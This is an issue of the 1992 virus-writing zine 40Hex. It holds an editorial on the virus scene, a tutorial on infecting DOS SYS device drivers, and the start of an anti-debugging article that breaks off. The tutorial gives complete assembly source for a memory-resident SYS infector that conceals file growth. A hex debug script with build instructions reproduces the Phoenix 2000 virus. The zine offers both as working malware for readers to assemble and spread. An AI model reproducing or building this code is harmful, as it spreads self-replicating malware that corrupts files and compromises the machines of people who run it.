40Hex Number 9 Volume 2 Issue 5 File 000 Welcome to the ninth issue of 40 Hex! This month brings lots of exciting and neat-o stuff. The feature article this month is Dark Angel's tutorial on SYS infections. As always, we have more virii news and more disassemblies and yes, even more debug scripts. A few quick notes: - Join PS/Net! Contact your friendly neighborhood Phalcon/Skism sysop for details. - We have been copied extensively by virtually every virus group in existence and, with few exceptions, have not been given credit for our work. It is getting tedious, to say the least, to reread what we have already written. In the future, please don't be quite so lame. - Landfill is down again, but a new board, Liquid Euphoria, run by our newest member, Hawkmoon, has taken its place. The board is stable and will not go down without warning, we promise! Call it, love it, hold it as your own. Special thanks to Hawkmoon for editing portions of 40Hex. - All are invited to contribute to 40Hex, be it in the form of an article, original virus, or whatever. Contact a Phalcon/Skism board for details. - Finally, happy new year to all virus and anti-virus people everywhere! The new year promises to bring more nify innovations in both virii and viral toolkits from Phalcon/Skism. Stay tuned. 40Hex-9 Table of contents December 31, 1992 File Description 40Hex-9.000......................You Are Here! 40Hex-9.001......................40Hex Editorial 40Hex-9.002......................SYS Virii 40Hex-9.003......................Phoenix 2000 Debug Dump 40Hex-9.004......................More antidebugger techniques 40Hex-9.005......................Virus Spotlite: 4096 40Hex-9.006......................Nina disassembly 40Hex-9.007......................A New Virus Naming Convention 40Hex-9.008......................Code Optimization 40Hex-9.009......................FirstStrike's Catfish virus Greets to: All Phalcon/Skism members, FirstStrike, Apache Warrior, [NuKE], ex-Senior Engineers of Data Plus, and virus writers everywhere! -)Gheap 40Hex Number 9 Volume 2 Issue 5 File 001 40-Hex Editorial: VX: What the Hell's happened? by DecimatoR Please note, the opinions expressed herein are not necessarily those of all the Phalcon/Skism members, and this article was not intentionally directed towards one group or individual in particular. 1991: The virus scene was almost nonexistent. A handful of virus boards populated the earth, the biggest being the Virus Exchange in Bulgaria. In the US, only a very few boards had viruses.. and those which did ALL had less than 100. If you had 80 viruses back then, you were God. Today, just one year later, if you have less than 800 you're LAME. Viruses are everywhere. Unfortunately, almost NONE of them are original. They're all hacks of hacks of hacks of hacks, or else all cranked out by MPC or VCL, the 2 virus generation programs in mass distribution. No one (save a few) writes original code anymore. The recent flood of lame viruses all prove that. MPC and VCL account for over half of the "new" viruses released each day - and ALL the viruses generated by those programs are scannable before they even get compiled. So why do people keep using the programs? Why create 30 viruses which all do the same thing, except maybe on a different day, or using a different text string? Why? I'll tell you why. Because the kids using MPC and VCL are basically talentless programmers who think it's cool to stick their name in a program and pass it around. They believe they'll achieve god-like fame in the underground by creating these little clones and changing a few bytes. Are these people cool? Hardly. It takes true talent to create a virus. It takes brains and skill to write a virus which will work as planned, avoid detection, and propagate itself. The authors of MPC and VCL are very talented programmers. Unfortunately, the users of their programs are just the opposite. REAL virus programmers have a desire to LEARN assembler - it's a test of their skill and ability. The users of MPC and VCL don't have that desire. They only have a desire for recognition - and seeing their name in a virus is a massive ego trip for them. Why? They did nothing that any Joe Blow couldn't have done using a code generator. If they REALLY want to prove how cool they are, let THEM write a damn virus generation program and release it. THAT ALONE will show the world their skill and ability. As for USING the program, well, I'm more impressed with a nicely formatted term paper using WordPerfect than I am with viruses created using MPC and VCL. If you're one of the lame idiots who uses MPC or VCL for "writing" viruses, then listen up - those programs were written for 2 reasons - to prove the programmer could write such a thing, and to be used as a LEARNING TOOL for future virus writers - NOT to be abused the way they currently are. Stop acting lame and actually CREATE an ORIGINAL virus for once, people! And if you find that's impossible, then get the hell out of the scene and let the people who CAN program do it! Enough on that end. Now it's time to bitch about the virus boards. These so called "elite" boards that have 1,255,443,453.7 viruses online for anyone to call up and leech. These places where the little kiddies put thier newest MPC and VCL creation for all the other little kiddies, to show how /<-RaD they are. And as soon as one virus is put up, 300 people grab it, half of them send it off to other VX boards, and half ship it to the Anti-Virus boards. What's the purpose? The virus scene has become the same as the WAREZ SCENE! Or, as Garbageheap puts it - Micro-Warez. Micro-WareZ: n. Viruses created by talentless individuals and passed around the way pirated software is. ie: "Hey D00dZ I got the newest MiCroWareZ from that BBS in 404!!! Now I'm up to 1,231,902!!!#!$@$~!" Micro-Warez Pups: n. (pl) 1) Those individuals actively engaging in the collection, creation, and distribution of Micro-Warez. 2) People who collect viruses simply because they want to have more than anyone else. See also: LAMERS What's the point in these MicroWareZ (also known as VX) boards? All the virus "authors" (I hate using that term - REAL virus authors don't frequent microwarez boards) anyway -all the virus authors send up their newest lame little hacks, and in 15 minutes they're on all VX boards everywhere. In 20 minutes, the AV people are looking at them. In 23 minutes the AV people have determined that the new Ware is just a lame little hack, and is already scannable by all virus scanners available. In 23.2 minutes, the AV people have deleted the virus, and are back drinking coffee and chatting on the COMP.VIRUS Usenet echo, saying things like "Just found another lame little hack. Nothing to worry about guys, not like this is anything new or ingenious or something. My scanner catches it since July of 91." My point here is - WHAT THE HELL IS THE PURPOSE OF THIS? AV people no longer have to wait for some unlucky infected soul to send them a copy of a new virus. They simply call up the local VX board and download it before ANYONE gets infected. Again I ask you - WHAT IS THE @*#$!%& PURPOSE? It's not cool, it's not elite, its FUKKING STUPID! Pardon the french. The so-called Virus underground is no longer underground. It's as open as the ANTI-VIRUS scene is. Anyone can get anything they want, because NO ONE cares! Everyone's got them, and anyone who wants them can find them. The virus scene is no longer elite. It's lamer then the warez scene is. And it's a shame. It once required talent and skill. Now it requires the intelligence of a grapefruit... well... not even that much. So the question remains - "Gee DecimatoR, if you're so against all this virus stuff, then what the hell are you doing in P/S? Why do you run a virus board?" My answer: I have a desire to LEARN, and MY board is private. The number was changed, all users deleted, and only those with an interest in LEARNING will be allowed on. Yes, I still have all the damn viruses. Cause when the Gestapo decides it's time to make the creation, distribution, and possession of viruses illegal, I wanna be sure people will be able to find them somewhere. I don't cater to microwarez pups, and I'm about as interested in the newest VCL creation as I am in the color of your undies. Viruses illegal? Yes, I'm sure they someday will be. Unfortunately. Because when the Gestapo makes them illegal, it's taking away the rights of ALL Americans to freely create and use programs. And that's the beginning of the end of Democracy and American Freedom. Anyway, that's enough bitching for one day. If I've pissed you off, good. You're probably one of the lamers I was writing about. If I haven't, well... next time then. Till 40-Hex 10..... > Peace < --DecimatoR 40Hex Number 9 Volume 2 Issue 5 File 002 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ An Introduction to Nonoverwriting Viruses Part III: SYS Infectors By Dark Angel ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The SYS file is the most overlooked executable file structure in DOS. Viruses are quite capable of infecting SYS files, as DOS kindly allows for such extensions to this file format. The SYS file is loaded beginning at offset 0 of a particular segment. It consists of a header followed by code. SYS files may be chained together after a simple modification in the header. This is the key to infecting SYS files. There are two types of device drivers; block and character. Block devices include floppy, hard, and virtual disks, i.e. any media which can store data. Character devices include printers, modems, keyboard, and the screen. The virus will generally be a character device, as it reduces complexity. The header structure is straightforward: Offset Size Description ------ ---- ----------- 0h DWORD Pointer to next header 4h WORD Attribute 6h WORD Pointer to strategy routine 8h WORD Pointer to interrupt routine 0Ah QWORD Name of the device driver The pointer to the next device driver header appears at offset zero in the header. This is a far pointer consisting of a segment:offset pair. If the current device is the only device appearing in the SYS file, then this pointer should be set to FFFF:FFFF. However, if there are two or more device drivers contained in the file, then the offset field should be equal to the absolute location of the next device in the file. The segment field should remain FFFF. For example, if a second device driver occurs at offset 300h of the file, then the DWORD at offset 0 would be FFFF:0300 The second (and all other) device driver must contain a new header as well. The next field contains the attribute of the device driver. Bit 15 determines the nature of the device driver. If bit 15 is set, then the device driver header corresponds to a character device; otherwise, the device is a block device. You need not concern yourself with any of the other bits; they may remain cleared. Before the next two fields may be understood, it is necessary to introduce the concept of the request header. The request header contains DOS's requests of the device driver. For example, DOS may ask for initialisation or a read or even a status check. The information needed by the device driver to interpret the request is all contained in the request header. It is passed to the strategy routine by DOS as a far pointer in ES:BX. The job of the strategy routine is to save the pointer for use by the interrupt routine. The interrupt routine is called by DOS immediately after the strategy routine. This routine processes the request in the header and performs the appropriate actions. The word-length pointers in the SYS header to the strategy and interrupt routines are relative to the start of the SYS file. So, if the strategy routine resides in absolute offset 32h in the file, then the field containing the location of the strategy routine would hold the number 32h. The name field in the SYS header simply holds an 8 byte device name. For example, 'NUL ' and 'CLOCK$ ' are two common DOS devices. The name should be justified with space characters (0x20). By using DOS's feature of chaining SYS files, we may easily infect this type of file. No bytes need to be saved. There are but two steps. The first is to concatenate the virus to the target file. The second is to alter the first word of the SYS file to point to the virus header. The only trick involved is writing the SYS interrupt routine. The format of the request header is: Offset Size Description ------ ---- ----------- 0h BYTE Length of request header (in bytes) 1h BYTE Unit code (for block devices) 2h BYTE Command code 3h WORD Status 5h QWORD Reserved by DOS 0Dh Var. Data for the operation Only one command code is relevant for use in the virus. Upon initialisation of the device driver, DOS will send a request header with 0 in the command code field. This is the initialisation check. The format of the variable sized field in the request header in this case is: Offset Size Description ------ ---- ----------- 0Dh BYTE Number of units (ignored by character devices) 0Eh DWORD Ending address of resident program code 12h DWORD Pointer to BPB aray (ignored by character devices) 16h BYTE Drive number (irrelevant in character devices) The only relevant fields are at offset 3 and 0Eh. Offset 3 holds the status word of the operation. The virus fills this in with the appropriate value. Generally, the virus should put a value of 100h in the status word in the event of a successful request and a 8103h in the status word in the event of a failure. The 8103h causes DOS to think that the device driver does not understand the request. A value of 8102h should be returned in the event of a failed installation. Offset 0Eh will hold the address of the end of the virus (include the heap!) in the event of a successful installation and CS:0 in the event of a failure. Basically, the strategy routine of the virus should contain a simple stub to save the es:bx pointer. The interrupt routine should fail all requests other than initialisation. It should perform an installation if the virus is not yet installed and fail if it is already in memory (remember to set offset 0eh to cs:0). A sample infector with very limited stealth features follows. While it is somewhat large, it may be easily coupled with a simple COM/EXE infection routine to create a powerful virus. It is a SYS-only, memory resident infector. --------------------------------------------------------------------------- .model tiny .code org 0 ; SYS files originate at zero ; SYS infector ; Written by Dark Angel of Phalcon/Skism ; for 40Hex header: next_header dd -1 ; FFFF:FFFF attribute dw 8000h ; character device strategy dw offset _strategy interrupt dw offset _interrupt namevirus db 'SYS INF ' ; simple SYS infector endheader: author db 0,'Simple SYS infector',0Dh,0Ah db 'Written by Dark Angel of Phalcon/Skism',0 _strategy: ; save es:bx pointer push si call next_strategy next_strategy: pop si mov cs:[si+offset savebx-offset next_strategy],bx mov cs:[si+offset savees-offset next_strategy],es pop si retf _interrupt: ; install virus in memory push ds ; generally, only the segment push es ; registers need to be preserved push cs pop ds call next_interrupt next_interrupt: pop bp les bx,cs:[bp+savebx-next_interrupt] ; get request header pointer mov es:[bx+3],8103h ; default to fail request cmp byte ptr es:[bx+2], 0 ; check if it is installation request jnz exit_interrupt ; exit if it is not mov es:[bx+10h],cs ; fill in ending address value lea si,[bp+header-next_interrupt] mov es:[bx+0eh],si dec byte ptr es:[bx+3] ; and assume installation failure mov ax, 0b0fh ; installation check int 21h cmp cx, 0b0fh jz exit_interrupt ; exit if already installed add es:[bx+0eh],offset endheap ; fixup ending address mov es:[bx+3],100h ; and status word xor ax,ax mov ds,ax ; ds->interrupt table les bx,ds:[21h*4] ; get old interrupt handler mov word ptr cs:[bp+oldint21-next_interrupt],bx mov word ptr cs:[bp+oldint21+2-next_interrupt],es lea si,[bp+int21-next_interrupt] cli mov ds:[21h*4],si ; replace int 21h handler mov ds:[21h*4+2],cs sti exit_interrupt: pop es pop ds retf int21: cmp ax,0b0fh ; installation check? jnz notinstall xchg cx,ax ; mark already installed exitint21: iret notinstall: pushf db 9ah ; call far ptr This combined with the oldint21 dd ? ; pushf simulates an int 21h call pushf push bp push ax mov bp, sp ; set up new stack frame ; flags [bp+10] ; CS:IP [bp+6] ; flags new [bp+4] ; bp [bp+2] ; ax [bp] mov ax, [bp+4] ; get flags mov [bp+10], ax ; replace old flags with new pop ax ; restore the stack pop bp popf cmp ah, 11h ; trap FCB find first and jz findfirstnext cmp ah, 12h ; FCB find next calls only jnz exitint21 findfirstnext: cmp al,0ffh ; successful findfirst/next? jz exitint21 ; exit if not push bp call next_int21 next_int21: pop bp sub bp, offset next_int21 push ax ; save all registers push bx push cx push dx push ds push es push si push di mov ah, 2fh ; ES:BX <- DTA int 21h push es ; DS:BX->DTA pop ds cmp byte ptr [bx], 0FFh ; extended FCB? jnz regularFCB ; continue if not add bx, 7 ; otherwise, convert to regular FCB regularFCB: mov cx, [bx+29] ; get file size mov word ptr cs:[bp+filesize], cx push cs ; ES = CS pop es cld ; The following code converts the FCB to an ASCIIZ string lea di, [bp+filename] ; destination buffer lea si, [bx+1] ; source buffer - filename cmp word ptr [si],'OC' ; do not infect CONFIG.SYS jz bombout mov cx, 8 ; copy up to 8 bytes back: cmp byte ptr ds:[si], ' ' ; is it a space? jz copy_done ; if so, done copying movsb ; otherwise, move character to buffer loop back copy_done: mov al, '.' ; copy period stosb mov ax, 'YS' lea si, [bx+9] ; source buffer - extension cmp word ptr [si], ax ; check if it has the SYS jnz bombout ; extension and exit if it cmp byte ptr [si+2], al ; does not jnz bombout stosw ; copy 'SYS' to the buffer stosb mov al, 0 ; copy null byte stosb push ds pop es ; es:bx -> DTA push cs pop ds xchg di,bx ; es:di -> DTA ; open file, read/only call open ; al already 0 jc bombout ; exit on error mov ah, 3fh ; read first mov cx, 2 ; two bytes of lea dx, [bp+buffer] ; the header int 21h mov ah, 3eh ; close file int 21h InfectSYS: inc word ptr cs:[bp+buffer] ; if first word not FFFF jz continueSYS ; assume already infected ; this is a safe bet since ; most SYS files do not have ; another SYS file chained on alreadyinfected: sub es:[di+29], heap - header ; hide file size increase ; during a DIR command ; This causes CHKDSK errors ;sbb word ptr es:[di+31], 0 ; not needed because SYS files ; are limited to 64K maximum bombout: pop di pop si pop es pop ds pop dx pop cx pop bx pop ax pop bp iret continueSYS: push ds pop es lea si, [bp+offset header] lea di, [bp+offset bigbuffer] mov cx, offset endheader - offset header rep movsb mov cx, cs:[bp+filesize] add cx, offset _strategy - offset header ; calculate offset to mov word ptr [bp+bigbuffer+6],cx ; strategy routine add cx, offset _interrupt - offset _strategy;calculate offset to mov word ptr cs:[bp+bigbuffer+8], cx ; interrupt routine continueinfection: mov ax, 4300h ; get file attributes lea dx, [bp+filename] int 21h push cx ; save attributes on stack push dx ; save filename on stack mov ax, 4301h ; clear file attributes xor cx, cx lea dx,[bp+filename] int 21h call openreadwrite mov ax, 5700h ; get file time/date int 21h push cx ; save them on stack push dx mov ah, 40h ; write filesize to the old mov cx, 2 ; SYS header lea dx, [bp+filesize] int 21h mov ax, 4202h ; go to end of file xor cx, cx cwd ; xor dx, dx int 21h mov ah, 40h ; concatenate header mov cx, offset endheader - offset header lea dx, [bp+bigbuffer] int 21h mov ah, 40h ; concatenate virus mov cx, offset heap - offset endheader lea dx, [bp+endheader] int 21h mov ax, 5701h ; restore file time/date pop dx pop cx int 21h mov ah, 3eh ; close file int 21h mov ax, 4301h ; restore file attributes pop cx pop dx int 21h jmp bombout openreadwrite: mov al, 2 ; open read/write mode open: mov ah, 3dh lea dx,[bp+filename] int 21h xchg ax, bx ; put handle in bx ret heap: savebx dw ? savees dw ? buffer db 2 dup (?) filename db 13 dup (?) filesize dw ? bigbuffer db offset endheader - offset header dup (?) endheap: end header --------------------------------------------------------------------------- The reason the "delta offset" is needed throughout the file is because it is impossible to know the exact location where the SYS file will be loaded into memory. This can be ameliorated by some file padding and fancy mathematical calculations. The advantages of using SYS files are manyfold. There is no load high routine involved apart from the strategy/interrupt routines. This saves space. SYS files also generally load before TSR virus checkers. TSR checkers also can't detect the residency routine of the virus, since it is a normal part of the DOS loading process. The routine for the infection of the SYS file is ridiculously easy to implement and takes remarkably little space, so there is no reason not to include SYS support in viruses. Finally, the memory "loss" reported by CHKDSK usually associated with memory resident viruses is not a problem with SYS files. A SYS file infector, when combined with a COM and EXE general infector, can lead to a powerful virus. Once the first SYS file is infected, the infected system becomes extremely vulnerable to the virus, as there is little the user can do to prevent the virus from running, short of a clean boot. 40Hex Number 9 Volume 2 Issue 5 File 003 Below is the debug script for the Phoenix 2000 virus. Let's see what Patti Hoffman's VSUM has to say about it: Phoenix 2000 Virus Name: Phoenix 2000 Aliases: V Status: Rare Discovered: December, 1991 Symptoms: .COM file growth; .EXE files altered; TSR; decrease in total system and available free memory Origin: Bulgaria Eff Length: 2,000 Bytes Type Code: PRshAK - Parasitic Resident .COM & .EXE Infector Detection Method: ViruScan, AVTK 5.54+, UTScan 22.00+ Removal Instructions: Delete infected files General Comments: The Phoenix 2000 virus was received from The Netherlands in December, 1991, where it was uploaded to several BBSes by a person identifying themself as "Dark Avenger". This virus originated in Bulgaria, and is closely related to the earlier V82 virus. Phoenix 2000 is a memory resident infector of .COM and .EXE files, as well as COMMAND.COM. The first time a program infected with Phoenix 2000 is executed, the Phoenix 2000 virus will become memory resident at the top of system memory but below the 640K DOS boundary. It will also install a small TSR in low system memory of 112 bytes. The virus at the top of system memory is 8,192 bytes in size, this is the amount total system memory as indicated by the DOS CHKDSK program will decrease by. The decrease in available free memory will be slightly more. The Phoenix 2000 virus hooks interrupt 2A. Interrupt 12's return will not have been moved. Once Phoenix 2000 is memory resident, it will infect .COM and .EXE programs, including COMMAND.COM, when they are opened, executed, copied, or accessed in any way. While it will always infect .COM files, .EXE files are only successfully infected if they contain 2,000 bytes of binary 00 characters in a continuous block. If the 2,000 bytes of binary 00 characters do not exist, the file may be partially infected, but will not be replicating copy of the virus. .COM programs, other than COMMAND.COM, will have a file length increase of 2,000 bytes with the virus being located in the middle or end of the infected file. Phoenix 2000 is unable to identify previous infections of itself on infected .COM files, so they may become reinfected by Phoenix 2000, adding an additional 2,000 bytes to the file for each reinfection. There will be no change to the file's date and time in the DOS disk directory listing. COMMAND.COM and .EXE files will not have a file length increase when they are infected with the Phoenix 2000 virus. In these two cases, the virus will overwrite 2,000 bytes of binary 00 characters within the file with the virus code. For .EXE files with less than 2,000 bytes of binary 00 characters, the file will be partially infected and may not function properly as a result. To create the virus, simply copy the script below to a file called "Phoenix.lst" and type: debug < phoenix.lst > nul Dark Angel ------------------------------------------------------------------------------- n phoenix.com e 0100 E8 00 00 5E 95 B9 D6 03 51 8B FE 33 D2 2E 33 54 e 0110 1F 46 46 49 79 F7 58 2E 31 55 1F 47 47 48 79 F7 e 0120 87 C9 87 F6 87 D2 FA 81 C6 4F F8 1E E8 86 01 8E e 0130 C7 4F 26 3B 5D 78 74 0F 80 6D 02 02 1F 1E 80 EF e 0140 02 3B 1D 73 02 89 1D 83 C7 76 B8 D5 06 AB 8B C3 e 0150 AB 06 1F B9 00 20 B0 2E F2 AE 81 3D FF 1E 75 F8 e 0160 8B 7D 02 81 C7 D0 06 B8 59 07 AB 93 AB FF 75 FA e 0170 FF 75 F8 0E 1F 8B DE 8A FB 03 9C 57 01 56 8E C0 e 0180 33 FF B9 22 00 8B C6 3A C3 74 02 3A C7 AC 74 01 e 0190 AA E2 F2 AF B9 D9 03 F3 A5 5E 58 AB 58 AB 92 48 e 01A0 AB 51 B2 80 B4 08 9C 26 FF 5D FA 58 AA 72 0C 80 e 01B0 FA 02 73 05 80 FE 04 72 02 B4 FE AB 07 FB 56 81 e 01C0 C6 4A 01 B9 E8 03 EB 49 E8 EA 00 8E DF 3B 5D 77 e 01D0 74 2D BF 4C 00 C4 5D D0 B4 13 CD 2F 06 B0 F5 E6 e 01E0 60 33 C0 E6 61 8E C0 93 AB 58 AB BA 80 00 B9 01 e 01F0 00 B8 11 03 CD 13 FE C5 75 F7 80 C1 40 EB F2 95 e 0200 E8 00 00 5E 83 C6 C5 56 0E 1F 81 C6 82 00 B9 80 e 0210 00 BF FD 00 8C DA 01 54 0B 3B 54 0B 75 3B A5 A4 e 0220 A5 A5 5F AD 8B DE 8B F0 06 1F 2E FF 2F F3 A5 96 e 0230 8B F9 C6 05 4D 89 55 03 42 26 29 55 03 B4 50 CD e 0240 21 0E 1F 8E C3 8D 5C 09 EB DE F3 AA 95 00 00 00 e 0250 00 C3 C3 FD 00 00 00 21 20 03 54 07 8B 4C 03 56 e 0260 8B 74 05 E3 0C AD 93 AD 03 C2 8E C0 26 01 17 E2 e 0270 F4 8E C2 AD 91 E3 07 AD 93 26 01 17 E2 F9 8C C0 e 0280 80 C4 10 8E C0 33 C2 75 EA 5E B1 11 8C DB 2B D3 e 0290 2B D9 8E DB 8B FA 2B F9 B1 04 D3 E7 83 EF 0F 43 e 02A0 3B F7 73 9D 4A 03 DA 8E C3 43 96 89 5C 01 8B FE e 02B0 B1 88 E9 78 FF FC BF 03 00 8C DB 4B 8E DB 43 03 e 02C0 1D 80 7D FD 5A 75 F5 C3 72 FD 50 B8 20 12 CD 2F e 02D0 72 0A 53 26 8A 1D B8 16 12 CD 2F 5B 5E 72 E8 06 e 02E0 1F C6 45 02 02 FF 75 05 33 C0 87 45 17 50 33 C0 e 02F0 87 45 15 50 56 BA 03 04 B1 80 84 75 04 75 39 80 e 0300 FD 3E 75 05 BA 02 00 B1 C0 22 4D 05 75 2B 2E 89 e 0310 16 DD 07 8B 45 28 3D 45 58 74 13 3D 43 4F 75 13 e 0320 3B 45 20 B8 4D 4D 75 06 3B 45 22 75 01 41 3A 45 e 0330 2A 74 09 80 FD 4B 74 04 F9 E9 A8 02 51 0E 1F BA e 0340 C5 17 B9 1A 00 B4 3F CD 21 33 C8 F9 75 4D 8B F2 e 0350 AD 3D 4D 5A 74 4A 3D 5A 4D 74 45 26 3B 4D 13 F9 e 0360 75 39 A3 4D 01 AD A3 4F 01 26 8B 45 11 2D 10 08 e 0370 72 29 26 89 45 15 50 E8 A4 02 72 1D 8B F2 8B 04 e 0380 A3 51 01 B5 AB 88 2E 4B 01 32 C4 75 0C 50 E8 7C e 0390 02 58 72 05 AC 32 C4 E1 FB 91 5A 59 72 9B 74 2A e 03A0 74 42 84 C9 75 92 33 F6 3D D2 06 72 1D 26 8A 45 e 03B0 12 F6 D0 A8 38 74 81 58 50 86 C4 33 D2 26 8B 75 e 03C0 11 83 EE 03 F7 F6 83 C2 03 49 51 26 89 55 15 8B e 03D0 C2 2D 03 00 C6 06 C5 17 E9 A3 C6 17 B9 FD 00 33 e 03E0 C0 E9 18 01 8B 44 16 26 89 45 15 B1 04 E8 30 02 e 03F0 72 A9 D1 E8 87 44 06 48 48 A3 51 01 01 44 0C 01 e 0400 44 14 40 40 B1 10 3A E1 F5 72 90 F7 E1 87 54 04 e 0410 8B CA D1 E2 D1 E2 03 54 16 2B C2 72 EC 83 7C 0A e 0420 00 74 0F 50 2D F2 07 73 17 D1 E0 03 D0 72 11 2B e 0430 D0 58 2D 22 01 73 06 D1 E0 03 D0 73 CB 33 C0 50 e 0440 8B 44 16 2B D0 5E 72 C1 56 80 E2 FC 03 D0 26 89 e 0450 55 15 2B D0 D1 EA D1 EA BE E5 07 56 2D 20 00 73 e 0460 0A 83 EE 04 05 04 00 4A 79 01 42 89 16 4D 01 2B e 0470 CA 73 02 33 C9 A3 4F 01 5A 51 D1 E1 D1 E1 75 09 e 0480 3B F2 74 05 26 80 45 15 04 B4 3F CD 21 59 72 56 e 0490 26 29 45 15 57 53 BF DF 17 32 D2 51 56 57 AF 57 e 04A0 E3 23 AD 8B F8 AD D1 C0 D1 C0 D1 C0 D1 C0 8B D8 e 04B0 80 E3 F0 03 DF 14 00 24 0F 3A C2 75 06 5F 89 1D e 04C0 47 47 57 E2 DD 58 5B 5E 59 8B F8 2B C3 D1 E8 48 e 04D0 89 07 42 80 FA 10 75 C3 5B 5F BA DF 17 D1 E1 83 e 04E0 C1 20 B4 40 CD 21 5E 59 72 7E 51 26 8B 4D 15 83 e 04F0 E9 20 33 C0 87 0E D9 17 87 06 DB 17 89 0E 53 01 e 0500 A3 55 01 59 58 41 56 52 51 53 33 D2 B9 90 00 F7 e 0510 F1 E8 40 01 A3 14 00 E8 3A 01 A3 1E 00 92 B2 06 e 0520 F6 F2 BE E1 07 E8 00 01 BB D8 05 E8 06 01 BB E0 e 0530 07 BE AC 05 B9 26 00 AC 24 3F 74 1F 50 24 07 D7 e 0540 B4 F8 92 58 51 B1 03 D2 E8 74 07 D7 D2 E0 0A D0 e 0550 B6 C0 59 20 B4 53 FA 08 94 53 FA E2 DA 91 5B 59 e 0560 5E 84 C9 75 26 E8 A5 00 72 77 91 26 03 45 11 2B e 0570 C1 26 89 45 15 FE C4 A3 51 01 C6 06 4B 01 A5 B4 e 0580 40 CD 21 33 C1 75 5A 26 89 75 15 06 57 99 A3 57 e 0590 01 96 EC 24 1F 91 EC 24 1F 1E 07 BF E1 07 F6 84 e 05A0 AC 05 80 74 04 E8 B6 00 91 A4 81 FE 20 00 75 EE e 05B0 E8 AB 00 AD B9 D7 03 AD 33 06 D8 07 33 D0 AB E2 e 05C0 F6 33 54 08 31 55 E0 5F 07 5E 56 B4 40 E8 3F 00 e 05D0 33 C8 75 0D 26 89 4D 15 BA C5 17 B1 18 B4 40 CD e 05E0 21 B5 3E F9 58 06 1F 8F 45 15 8F 45 17 73 11 8A e 05F0 45 0D F6 D0 A8 1F 74 08 80 4D 0D 1F 80 65 05 BF e 0600 58 0A C4 24 40 08 45 06 B4 3E CD 21 C3 B4 3F B9 e 0610 00 01 BA C8 00 85 F6 74 0C B9 D0 07 EB 04 B1 02 e 0620 B4 3F BA E1 07 CD 21 C3 BB D2 05 E8 08 00 88 04 e 0630 46 BB D5 05 8A C4 D0 E8 8A D0 50 14 01 3C 03 72 e 0640 02 2C 03 0A D0 D7 88 04 46 58 D7 88 04 46 8A C2 e 0650 34 03 D7 C3 D1 EA B8 79 F7 73 02 0C 04 C3 E8 01 e 0660 00 91 98 3C 02 73 02 B0 02 3B F0 76 3E 8D 45 1F e 0670 8A 26 57 01 A3 57 01 48 3A C4 B0 90 AA 75 14 EC e 0680 24 1F 3C 08 73 0D B4 09 F6 E4 04 C0 8A E0 B0 87 e 0690 89 45 FE 8B C6 53 B3 15 2C 11 3C 05 72 08 B3 1F e 06A0 2C 0A 3C 05 73 02 FE 0F 5B B0 20 C3 00 00 00 84 e 06B0 80 82 00 00 82 80 2C 80 09 80 00 0E 00 84 84 82 e 06C0 80 00 83 80 00 0F 00 85 85 83 80 00 00 00 00 04 e 06D0 00 01 00 01 02 03 06 07 07 04 05 9C FA 50 53 51 e 06E0 52 56 57 1E 06 FC 0E 07 91 80 FD 3E 74 0F 8B F2 e 06F0 BF DF 17 B4 60 CD 21 B8 00 3D CD 21 93 BA 00 00 e 0700 8E DA BF D0 07 BE 4C 00 B8 B3 07 87 04 AB 50 8C e 0710 C0 87 44 02 AB 50 B8 38 07 87 44 44 50 8C C0 87 e 0720 44 46 50 1E 56 A1 6C 04 50 E8 9C FB 0E 1F BE DF e 0730 17 8B FE 80 FD 4B 74 0C 54 58 80 FD 3E F9 74 75 e 0740 3B C4 72 71 AC 3C 5C 75 02 8B FE 84 C0 75 F5 B8 e 0750 2A 2E 89 05 98 89 45 02 B4 2F CD 21 06 53 BA E1 e 0760 07 B4 1A CD 21 0E 07 B9 23 00 BA DF 17 B4 4E CD e 0770 21 72 30 A0 F7 07 F6 D0 A8 1F 74 21 BE FF 07 57 e 0780 AC AA 84 C0 75 FA 5F 8B 44 FD 3D 58 45 74 07 3D e 0790 4F 4D 75 09 B4 43 B0 2E 3B 44 FB 74 06 B4 4F CD e 07A0 21 73 D0 5A 1F B4 1A CD 21 72 0A 0E 1F BA DF 17 e 07B0 B8 00 3D CD 21 5B 93 E8 0E FB 5E 1F 8F 44 46 8F e 07C0 44 44 8F 44 02 8F 04 07 1F 5F 5E 5A 59 5B 58 9D e 07D0 EA 00 00 00 00 56 57 55 1E 06 8B EC 80 FC 82 75 e 07E0 52 8C D8 3B 46 0C 75 4B B8 18 12 CD 2F 8C C8 3B e 07F0 44 14 74 3F AD 80 EC 3D 74 1F FE CC 74 19 2D 00 e 0800 0D 75 30 C4 7C 10 26 81 7D FE CD 21 75 25 40 2E e 0810 30 06 B2 07 75 1D F9 B3 30 0E 07 BF D1 06 B8 DB e 0820 05 87 44 10 73 02 48 48 AB 8C C8 87 44 12 AB 80 e 0830 64 14 FE 07 1F 5D 5F 5E B0 03 CF 58 80 EC 02 80 e 0840 FC 02 73 0C FF 45 01 75 07 B8 01 03 9C FF 5D FA e 0850 58 D1 E8 73 53 B4 01 EB 51 1E 57 0E 1F BF DA 07 e 0860 80 3D 00 74 0D 41 75 09 32 E4 86 25 F9 8B 4D 05 e 0870 41 49 9C 50 9C FF 5D FA 73 C1 1F 1F EB 2C 88 25 e 0880 89 4D 05 3A 65 03 75 03 80 F4 01 51 B9 FF FF 9C e 0890 FF 5D F6 59 9C 50 32 C0 86 05 A8 02 75 FE 58 9D e 08A0 73 08 80 FC 01 F9 75 02 33 C0 5F 1F FB CA 02 00 e 08B0 98 34 00 1E 57 0E 1F BF DA 07 3A 65 04 74 E9 84 e 08C0 E4 74 E5 80 FC 01 74 05 80 FC 05 72 B1 5F 1F EA rcx 07D0 w q ------------------------------------------------------------------------------- DA 40Hex Number 9 Volume 2 Issue 5 File 004 I picked this up in a collection of clips from the Fidonet 80xxx echo, figured it might interest someone. --Hawkmoon =============================================================================== Anti Debugging Tricks By: Inbar Raz Release number 2 Today's anti debugging tricks devide into two categories: 1. Preventive actions; 2. Self-modifying code. Most debugging tricks, as for today, are used within viruses, in order to avoid dis-assembly of the virus, as it will be exampled later in this file. Another big part of anti debugging tricks is found with software protection programs, what use them in order to make the cracking of the protection harder. 1. Preventive actions: ---------------------- Preventive actions are, basically, actions that the program takes in order to make the user unable to dis-assemble the code or trace it while running. 1.1. Interrupt disable: Interrupt disable is probably the most common form of anti-debugging trick. It can be done in several ways: 1.1.1. Hardware masking of 